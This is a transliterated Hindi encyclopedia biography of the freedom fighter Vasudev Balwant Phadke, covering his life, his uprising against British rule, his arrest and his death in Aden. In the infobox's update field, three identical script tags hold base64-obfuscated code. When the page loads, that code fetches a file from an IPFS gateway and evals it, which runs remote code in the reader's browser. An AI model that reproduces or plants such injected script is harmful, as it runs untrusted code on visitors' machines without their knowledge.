वासुदेव बलवन्त फड़के
vasudev balavant ph dake
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| poora nam | vasudev balavant ph dake |
| janm | 4 navambar, 1845 ee. |
| janm bhoomi | shiradhone gaanv, rayagad zila, maharashtr |
| mrityu | 17 faravari, 1883 ee. |
| karm bhoomi | bharat |
| prasiddhi | svatantrata senani |
| nagarikata | bharatiy |
| any janakari | desh ke lie apani sevaean dete hue 1879 ee. mean ph dake aangrezoan dvara pak d liye ge aur ajanm karavas ki saza dekar inhean adan bhej diya gaya. yahaan par ph dake ko k di sharirik yatanaean di geean. isi ke phalasvaroop 1883 ee. ko inaki mrityu ho gee. |
| adyatan | 19:53, 4 faravari 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vasudev balavant ph dake (aangrezi:Vasudev Balwant Phadke, janm- 4 navambar, 1845 ee. 'maharashtr' tatha mrityu- 17 faravari, 1883 ee. 'adan') british sarakar ke viruddh sashastr vidroh ka sangathan karane vale bharat ke pratham krantikari the. vasudev balavant ph dake ka janm maharashtr ke rayagad zile ke 'shiradhone' namak gaanv mean hua tha. ph dake ne 1857 ee. ki pratham sangathit mahakraanti ki viphalata ke bad azadi ke mahasamar ki pahali chianannagari jalayi thi. desh ke lie apani sevaean dete hue 1879 ee. mean ph dake aangrezoan dvara pak d liye ge aur ajanm karavas ki saza dekar inhean adan bhej diya gaya. yahaan par ph dake ko k di sharirik yatanaean di geean. isi ke phalasvaroop 1883 ee. ko inaki mrityu ho gee.
parichay
vasudev balavant ph dake b de tejasvi aur svasth sharir ke balak the. unhean vanoan aur parvatoan mean ghoomane ka b da shauq tha. kalyan aur poona mean unaki shiksha huee. ph dake ke pita chahate the ki vah ek vyapari ki dukan par das rupe masik vetan ki naukari kar lean aur padhaee chho d dean. lekin ph dake ne yah bat nahian mani aur mumbee a ge. vahaan par ji.ar.pi. mean bis rupe masik ki naukari karate hue apani padhaee jari rakhi. 28 varsh ki ayu mean ph dake ki pahali patni ka nidhan ho jane ke karan inaka doosara vivah kiya gaya.
vyavasayik jivan
vidyarthi jivan mean hi vasudev balavant ph dake 1857 ee. ki viphal kranti ke samacharoan se parichit ho chuke the. shiksha poori karake ph dake ne 'gret iandiyan peniansula relave' aur 'militri faineans dipartameant', poona mean naukari ki. unhoanne jangal mean ek vyayamashala banaee, jahaan jyotiba phule bhi unake sathi the. yahaan logoan ko shastr chalane ka bhi abhyas karaya jata tha. lokamany tilak ne bhi vahaan shastr chalana sikha tha.
govind ranade ka prabhav
1857 ki kranti ke daman ke bad desh mean dhire-dhire nee jagriti aee aur vibhinn kshetroan mean sangathan banane lage. inhian mean ek sanstha poona ki 'sarvajanik sabha' thi. is sabha ke tatvavadhan mean huee ek mitiang mean 1870 ee. mean mahadev govind ranade ne ek bhashan diya. unhoanne is bat par bal diya ki aangrez kis prakar bharat ki arthik loot kar rahe haian. isaka ph dake par b da prabhav p da. ve naukari karate hue bhi chhutti ke dinoan mean gaanv-gaanv ghoomakar logoan mean is loot ke virodh mean prachar karate rahe.
mata ki mrityu
1871 ee. mean ek din sayankal vasudev balavant ph dake kuchh ganbhir vichar mean baithe the. tabhi unaki mataji ki tivr asvasthata ka tar unako mila. isamean likha tha ki 'vasu' (vasudev balavant ph dake) tum shighr hi ghar a jao, nahian to maan ke darshan bhi shayad n ho sakeange. is vedanapoorn tar ko padhakar atit ki smritiyaan f dake ke manas patal par a gayian aur tar lekar ve aangrez adhikari ke pas avakash ka prarthana-patr dene ke lie ge. kintu aangrez to bharatiyoan ko apamanit karane ke lie satat prayasarat rahate the. us aangrez adhikari ne avakash nahian diya, lekin vasudev balavant ph dake doosare din apane gaanv chale ae. gaanv ane par vasudev par vajraghat hua. jab unhoanne dekha ki unaka muanh dekhe bina hi t dapate hue unaki mamatamayi maan chal basi haian. unhoanne paanv chhookar rote hue mata se kshama maangi, kintu aangrezi shasan ke duvyarvahar se unaka hriday dravit ho utha.
sena ka sangathan
[[chitr:Vasudeo-Balwant-Phadke-Stamp.jpg|thumb|250px|vasudev balavant ph dake par dak tikat]] is ghatana ke vasudev f dake ne naukari chho d di aur videshiyoan ke viruddh kranti ki taiyari karane lage. unhean deshi nareshoan se koee sahayata nahian mili to ph dake ne shivaji ka marg apanakar adivasiyoan ki sena sangathit karane ki koshish prarambh kar di. unhoanne faravari 1879 mean aangrezoan ke viruddh vidroh ki ghoshana kar di. dhan-sangrah ke lie dhanikoan ke yahaan dake bhi dale. unhoanne poore maharashtr mean ghoom-ghoomakar navayuvakoan se vichar-vimarsh kiya, aur unhean sangathit karane ka prayas kiya. kintu unhean navayuvakoan ke vyavahar se asha ki koee kiran nahian dikhayi p di. kuchh dinoan bad 'govind rav davare' tatha kuchh any yuvak unake sath kh de ho ge. phir bhi koee shaktishali sangathan kh da hota nahian dikhayi diya. tab unhoanne vanavasi jatiyoan ki or najar uthayi aur socha akhir bhagavan shriram ne bhi to vanaroan aur vanavasi samoohoan ko sangathit karake lanka par vijay payi thi. maharana pratap ne bhi inhian vanavasiyoan ko hi sangathit karake akabar ko nakoan chane chabava die the. shivaji ne bhi inhian vanavasiyoan ko svabhiman ki prerana dekar aurangazeb ko hila diya tha.
eenam ki ghoshana
maharashtr ke sat ziloan mean vasudev ph dake ki sena ka zabardast prabhav phail chuka tha. aangrez afasar dar ge the. is karan ek din mantrana karane ke lie vishram bag mean ikattha the. vahaan par ek sarakari bhavan mean baithak chal rahi thi. 13 mee, 1879 ko rat 12 baje vasudev balavant ph dake apane sathiyoan sahit vahaan a ge. aangrez afasaroan ko mara tatha bhavan ko ag laga di. usake bad aangrez sarakar ne unhean zinda ya murda pak dane par pachas hazar rupe ka inam ghoshit kiya. kintu doosare hi din mumbee nagar mean vasudev ke hastakshar se ishtahar laga die ge ki jo aangrez afasar 'richard' ka sir katakar laega, use 75 hazar rupe ka inam diya jaega. aangrez afasar isase aur bhi baukhala ge.
giraftari
1857 ee. mean aangrezoan ki sahayata karake jagir pane vale b dauda ke gayakava d ke divan ke putr ke ghar par ho rahe vivah ke utsav par ph dake ke sathi daulataram naik ne pachas hazar rupayoan ka saman loot liya. is par aangrez sarakar ph dake ke pichhe p d gee. ve bimari ki halat mean ek mandir mean vishram kar rahe the, tabhi 20 julaee, 1879 ko giraftar kar liye ge. rajadroh ka mukadama chala aur ajanm kalapani ki saza dekar ph dake ko 'adan' bhej diya gaya.
nidhan
adan pahuanchane par ph dake bhag nikale, kintu vahaan ke margoan se parichit n hone ke karan pak d liye ge. jel mean unako anek prakar ki yatanaean di geean. vahaan unhean kshay rog bhi ho gaya aur is mahanh deshabhakt ne 17 faravari, 1883 ee. ko adan ki jel ke andar hi pran tyag die.
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tika tippani aur sandarbh
sanbandhit lekh
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